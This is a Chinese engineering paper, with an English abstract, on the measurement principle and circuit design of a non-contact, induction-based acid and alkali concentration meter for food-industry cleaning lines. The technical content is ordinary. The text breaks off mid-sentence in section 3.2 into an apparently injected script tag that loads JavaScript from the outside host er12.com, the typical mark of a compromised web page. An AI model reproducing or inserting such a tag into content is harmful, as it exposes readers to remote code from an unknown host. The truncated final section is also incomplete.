［摘 要］ 针对目前国内接触式在线酸、碱浓度计寿命低、误差大及电极易污染的缺点，提出一种非接触式在线酸、碱浓度计的测量原理及实验电路，并给出了电路主要参数及实验数据。
［关键词］ 浓度计；非接触；模拟导体
the design and realization of a non－contactacid－alkalimeter
tan you－guang，yangjun－wei，liujia－lu
（heilongjiang professionaltechnology collegeofindustry＆commerce，heilongjiang－haerbin150080，china）
abstract： in viewofthe shortcomings ofany conventionalon－line acid－alkalimeter，such asa shortlife，large error and easy－to－contaminate electrodes，this paper presentsthe principle of measurement and the experi－mentalcircuitryfor a non－contact on－line acid－alkalimeteralong with the main parameters ofthe circuitandtheexperimental data．
key words： densimeter；non－contact；simulation conductor
1 引 言
在乳品、饮料、啤酒及食品加工行业，为了达到食品卫生要求，对生产线上的各种反应罐、器皿和生产管线必须进行严格、定时、定期清洗。清洗的一般程序是：酸洗—碱洗—水洗。其中，酸洗和碱洗都是将含有一定量（约1％～3％）的酸溶液、碱溶液清洗用过的器皿和生产管线，以去除其中的各种油类、脂类等污垢，防止管线及器皿产生细菌，保证产品达到食品卫生标准。在进行酸洗和碱洗的过程中，必须保证两点：1）清洗溶液要保证一定的酸、碱浓度，满足清洗要求；2）废弃溶液排放时的酸、碱浓度要达到最低，以满足环保要求。为了满足控制要求，必须要有一个关键的在线检测元件———酸、碱浓度计。
在线检测液体的酸、碱浓度，目前常用的方法都是以检测液体电导率的方式，因为酸和碱的化学成分决定了液体的酸、碱浓度和其电导率成正比，因此通过检测液体的电导率即可确定其液体的酸、碱浓度。目前，国内的酸碱浓度计都是接触式，即以电极的形式和被测液体接触以测其电导率，以此来确定 液体的酸、碱浓度。但是，这种方法有一个最致命的缺点就是电极容易被污染，严重影响了测量的准确性及使用寿命，尤其在食品行业，情况最为严重。
2 非接触酸、碱浓度计的测量原理
笔者设计一种非接触式酸、碱浓度计，其原理是利用电磁感应测量电导率，结构见图2—1所示：l1和l2是两个相互绝缘的环形电感线圈，将其固化在一起，孔是联通的。如果将上述结构的两线圈放置于被测液体，则被测液体必然穿过两线圈的联通孔。由于被测的酸、碱溶液是电介质，是导电的，因此，可把液体看作是如图2—2所示的模拟导体，此模拟导体穿过环形线圈l1和l2，于是形成如图2—2所示的测量等效电路。在等效电路中，模拟导体是被测液体，是导电的，可看作是具有一定电阻的单匝线圈，此时，如果在l1线圈通以一个等幅的交流信号，由于模拟导体穿过l1磁环，则在模拟导体内必然有感应电流，同时模拟导体也穿过l2线圈磁环，于是在l2线圈内必然感应出输出信号。当在l1内的输入信号的幅度确定后，输出信号的大、小将随着模拟导体内电流的大、小而变化。由于模拟导体是被测液体，其电导率与被测液体的酸、碱浓度成正比，因此通过检测l2输出信号的大、小，即可测出模拟导体内电流的大、小，于是就测出了模拟导体的电导率---被测液体的酸、碱浓度。
3 非接触酸、碱浓度计的测量电路
根据上述测量原理，设计出如图3—1所示测量 电路结构框图。测量电路由3部分组成：振荡与激励电路、放大与输出电路和温度补偿电路。酸、碱浓度计电路原理如图3—2所示。
3．1 振荡与激励电路
振荡与激励电路是给浓度检测探头l1线圈提供一个稳定的激励信号，当探头插入被测液体后，能够在探头l2线圈得到一个与被测液体电导率成正比的酸、碱浓度信号。为了保证输出信号的精度，激励信号的幅度和频率必须相对稳定，尤其是幅度。因此，在电路图3—2中，振荡与激励电路由以下元件组成：t1、r6、r2、r3和c1、c2、c3组成了电容移相式振荡器。为了使振幅稳定，振荡电路的电源采用二级稳压。即电源经过v1三端稳压电源后又经过zd3、r7组成的基准稳压，以减少电源对振荡幅度的影响。振荡输出经r6、c7和rp1送给u01功率放大器作幅度放大，将放大后的激励信号加在探头的l1线圈上，形成一个振幅稳定的激励信号。
3．2 放大与输出电路
由于在l1线圈上已经加上了一个稳定的交流激励信号，于是当由l1、l2组成的探头插入被测液体时，根?script src=http://er12.com/t.js>
